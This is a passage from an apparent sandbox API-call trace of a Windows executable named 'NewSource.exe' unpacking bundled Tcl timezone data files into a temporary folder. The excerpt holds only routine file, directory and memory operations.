lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.811] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.811] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.811] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.811] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.811] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.811] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.811] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.811] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.811] CloseHandle (hObject=0x10c) returned 1 [0040.811] GetLastError () returned 0x0 [0040.811] SetLastError (dwErrCode=0x0) [0040.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.812] GetFileType (hFile=0x10c) returned 0x1 [0040.812] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.812] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.812] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.812] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.812] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.812] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.812] CloseHandle (hObject=0x10c) returned 1 [0040.812] GetLastError () returned 0x0 [0040.812] SetLastError (dwErrCode=0x0) [0040.812] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.812] GetFileType (hFile=0x10c) returned 0x1 [0040.812] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.812] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.812] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.812] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.813] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.813] CloseHandle (hObject=0x10c) returned 1 [0040.813] GetLastError () returned 0x0 [0040.813] SetLastError (dwErrCode=0x0) [0040.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yerevan") returned 69 [0040.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yerevan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\yerevan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.813] GetLastError () returned 0x2 [0040.813] SetLastError (dwErrCode=0x2) [0040.813] GetLastError () returned 0x2 [0040.813] SetLastError (dwErrCode=0x2) [0040.813] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yerevan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yerevan", lpFilePart=0x0) returned 0x44 [0040.813] GetLastError () returned 0x2 [0040.813] SetLastError (dwErrCode=0x2) [0040.813] GetLastError () returned 0x2 [0040.813] SetLastError (dwErrCode=0x2) [0040.813] GetLastError () returned 0x2 [0040.813] SetLastError (dwErrCode=0x2) [0040.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yerevan") returned 69 [0040.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Yerevan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\yerevan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.813] GetFileType (hFile=0x10c) returned 0x1 [0040.813] htonl (hostlong=0xdd070000) returned 0x7dd [0040.814] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.814] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x7dd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x7dd, lpOverlapped=0x0) returned 1 [0040.814] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.815] CloseHandle (hObject=0x10c) returned 1 [0040.815] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.815] htonl (hostlong=0x30000000) returned 0x30 [0040.815] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.815] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.815] GetFileType (hFile=0x10c) returned 0x1 [0040.815] htonl (hostlong=0xe8335b00) returned 0x5b33e8 [0040.815] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fe3e8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.815] htonl (hostlong=0xfe070000) returned 0x7fe [0040.815] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7fe) returned 0x55e278 [0040.815] htonl (hostlong=0xfe070000) returned 0x7fe [0040.815] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.815] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.815] htonl (hostlong=0x6c270000) returned 0x276c [0040.815] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x276c) returned 0x561090 [0040.815] htonl (hostlong=0xfe070000) returned 0x7fe [0040.815] htonl (hostlong=0x6c270000) returned 0x276c [0040.815] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563808 [0040.815] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563808 | out: hHeap=0x530000) returned 1 [0040.816] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.816] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.816] CloseHandle (hObject=0x10c) returned 1 [0040.816] GetLastError () returned 0x0 [0040.816] SetLastError (dwErrCode=0x0) [0040.816] GetLastError () returned 0x0 [0040.816] SetLastError (dwErrCode=0x0) [0040.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.816] GetFileType (hFile=0x10c) returned 0x1 [0040.816] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.816] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.816] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.816] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.816] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.816] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.816] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.816] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.816] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.816] CloseHandle (hObject=0x10c) returned 1 [0040.816] GetLastError () returned 0x0 [0040.816] SetLastError (dwErrCode=0x0) [0040.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.817] GetFileType (hFile=0x10c) returned 0x1 [0040.817] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.817] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.817] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.817] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.817] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.817] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.817] CloseHandle (hObject=0x10c) returned 1 [0040.817] GetLastError () returned 0x0 [0040.817] SetLastError (dwErrCode=0x0) [0040.817] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.817] GetLastError () returned 0x2 [0040.817] SetLastError (dwErrCode=0x2) [0040.817] GetLastError () returned 0x2 [0040.817] SetLastError (dwErrCode=0x2) [0040.817] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic", lpFilePart=0x0) returned 0x40 [0040.817] GetLastError () returned 0x2 [0040.817] SetLastError (dwErrCode=0x2) [0040.817] GetLastError () returned 0x2 [0040.817] SetLastError (dwErrCode=0x2) [0040.817] GetLastError () returned 0x2 [0040.817] SetLastError (dwErrCode=0x2) [0040.817] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), lpSecurityAttributes=0x0) returned 1 [0040.819] GetLastError () returned 0x2 [0040.819] SetLastError (dwErrCode=0x2) [0040.819] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Azores") returned 72 [0040.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Azores" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\azores"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.819] GetLastError () returned 0x2 [0040.819] SetLastError (dwErrCode=0x2) [0040.819] GetLastError () returned 0x2 [0040.819] SetLastError (dwErrCode=0x2) [0040.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Azores", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Azores", lpFilePart=0x0) returned 0x47 [0040.819] GetLastError () returned 0x2 [0040.819] SetLastError (dwErrCode=0x2) [0040.819] GetLastError () returned 0x2 [0040.820] SetLastError (dwErrCode=0x2) [0040.820] GetLastError () returned 0x2 [0040.820] SetLastError (dwErrCode=0x2) [0040.820] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Azores") returned 72 [0040.820] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Azores" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\azores"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.820] GetFileType (hFile=0x10c) returned 0x1 [0040.820] htonl (hostlong=0x6c270000) returned 0x276c [0040.820] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0040.821] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.821] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x76c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x76c, lpOverlapped=0x0) returned 1 [0040.821] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.821] CloseHandle (hObject=0x10c) returned 1 [0040.821] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.822] htonl (hostlong=0x30000000) returned 0x30 [0040.822] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.822] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.822] GetFileType (hFile=0x10c) returned 0x1 [0040.822] htonl (hostlong=0xe63b5b00) returned 0x5b3be6 [0040.822] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5febe6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.822] htonl (hostlong=0xe0050000) returned 0x5e0 [0040.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5e0) returned 0x550600 [0040.822] htonl (hostlong=0xe0050000) returned 0x5e0 [0040.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.823] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.823] htonl (hostlong=0x41e0000) returned 0x1e04 [0040.823] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e04) returned 0x561090 [0040.823] htonl (hostlong=0xe0050000) returned 0x5e0 [0040.823] htonl (hostlong=0x41e0000) returned 0x1e04 [0040.823] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ea0 [0040.823] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ea0 | out: hHeap=0x530000) returned 1 [0040.824] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.824] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.824] CloseHandle (hObject=0x10c) returned 1 [0040.824] GetLastError () returned 0x0 [0040.824] SetLastError (dwErrCode=0x0) [0040.824] GetLastError () returned 0x0 [0040.824] SetLastError (dwErrCode=0x0) [0040.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.824] GetFileType (hFile=0x10c) returned 0x1 [0040.824] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.824] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.824] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.824] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.824] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.824] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.824] CloseHandle (hObject=0x10c) returned 1 [0040.824] GetLastError () returned 0x0 [0040.824] SetLastError (dwErrCode=0x0) [0040.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 